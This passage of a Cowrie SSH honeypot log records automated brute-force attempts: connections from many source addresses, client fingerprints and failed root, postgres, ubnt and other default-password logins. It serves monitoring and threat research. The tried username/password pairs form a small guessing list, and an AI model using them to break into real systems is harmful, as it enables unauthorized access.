rt-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:57.556982Z","src_ip":"147.45.211.215","session":"d7434f3be3b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23081983","message":"login attempt [root/23081983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:58.068768Z","src_ip":"147.45.211.215","session":"d7434f3be3b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:59.240487Z","src_ip":"147.45.211.215","session":"d7434f3be3b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":59026,"dst_ip":"159.203.135.109","dst_port":22,"session":"02979083204d","protocol":"ssh","message":"New connection: 178.20.210.208:59026 (159.203.135.109:22) [session: 02979083204d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:06.145766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:06.149350Z","src_ip":"178.20.210.208","session":"02979083204d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:06.251734Z","src_ip":"178.20.210.208","session":"02979083204d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"administrator","message":"login attempt [ubnt/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:06.656381Z","src_ip":"178.20.210.208","session":"02979083204d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:07.764328Z","src_ip":"178.20.210.208","session":"02979083204d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":57032,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fec31074aa7","protocol":"ssh","message":"New connection: 76.79.213.69:57032 (10.17.0.5:22) [session: 0fec31074aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:11.412422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:11.417145Z","src_ip":"76.79.213.69","session":"0fec31074aa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:11.539105Z","src_ip":"76.79.213.69","session":"0fec31074aa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty24","message":"login attempt [root/qwerty24] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:12.060847Z","src_ip":"76.79.213.69","session":"0fec31074aa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:13.184678Z","src_ip":"76.79.213.69","session":"0fec31074aa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":48318,"dst_ip":"10.17.0.5","dst_port":22,"session":"d95af526f319","protocol":"ssh","message":"New connection: 5.89.75.194:48318 (10.17.0.5:22) [session: d95af526f319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:19.051402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:19.056008Z","src_ip":"5.89.75.194","session":"d95af526f319","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:19.157404Z","src_ip":"5.89.75.194","session":"d95af526f319","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emo","password":"ItsemoemoWashere2026support","message":"login attempt [emo/ItsemoemoWashere2026support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:19.597291Z","src_ip":"5.89.75.194","session":"d95af526f319","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:20.703223Z","src_ip":"5.89.75.194","session":"d95af526f319","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":33164,"dst_ip":"10.17.0.5","dst_port":22,"session":"d10c3e50ce21","protocol":"ssh","message":"New connection: 79.104.0.82:33164 (10.17.0.5:22) [session: d10c3e50ce21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:23.696712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:23.704413Z","src_ip":"79.104.0.82","session":"d10c3e50ce21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:23.846593Z","src_ip":"79.104.0.82","session":"d10c3e50ce21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"beasiswa","password":"123456","message":"login attempt [beasiswa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:24.442939Z","src_ip":"79.104.0.82","session":"d10c3e50ce21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:25.585775Z","src_ip":"79.104.0.82","session":"d10c3e50ce21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":41130,"dst_ip":"159.203.135.109","dst_port":22,"session":"85a9ce39b07b","protocol":"ssh","message":"New connection: 103.82.132.16:41130 (159.203.135.109:22) [session: 85a9ce39b07b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:28.826548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:28.831659Z","src_ip":"103.82.132.16","session":"85a9ce39b07b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:29.076427Z","src_ip":"103.82.132.16","session":"85a9ce39b07b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25011982","message":"login attempt [root/25011982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:29.808216Z","src_ip":"103.82.132.16","session":"85a9ce39b07b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":39410,"dst_ip":"159.203.135.109","dst_port":22,"session":"d26cfb6a5e9b","protocol":"ssh","message":"New connection: 92.113.145.209:39410 (159.203.135.109:22) [session: d26cfb6a5e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:30.636814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:30.642399Z","src_ip":"92.113.145.209","session":"d26cfb6a5e9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:30.758991Z","src_ip":"92.113.145.209","session":"d26cfb6a5e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:31.054410Z","src_ip":"103.82.132.16","session":"85a9ce39b07b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"12345678","message":"login attempt [sysadmin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:31.260723Z","src_ip":"92.113.145.209","session":"d26cfb6a5e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:32.386389Z","src_ip":"92.113.145.209","session":"d26cfb6a5e9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":33557,"dst_ip":"10.17.0.5","dst_port":22,"session":"388d85279893","protocol":"ssh","message":"New connection: 102.88.137.80:33557 (10.17.0.5:22) [session: 388d85279893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:46.849189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:46.855756Z","src_ip":"102.88.137.80","session":"388d85279893","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:47.038705Z","src_ip":"102.88.137.80","session":"388d85279893","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:47.797671Z","src_ip":"102.88.137.80","session":"388d85279893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:48.983821Z","src_ip":"102.88.137.80","session":"388d85279893","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":36154,"dst_ip":"10.17.0.5","dst_port":22,"session":"a09070118f78","protocol":"ssh","message":"New connection: 201.17.146.173:36154 (10.17.0.5:22) [session: a09070118f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:52.472865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:52.480648Z","src_ip":"201.17.146.173","session":"a09070118f78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:52.702188Z","src_ip":"201.17.146.173","session":"a09070118f78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cpr","password":"cpr","message":"login attempt [cpr/cpr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:21:53.279117Z","src_ip":"201.17.146.173","session":"a09070118f78","protocol":"ssh"}
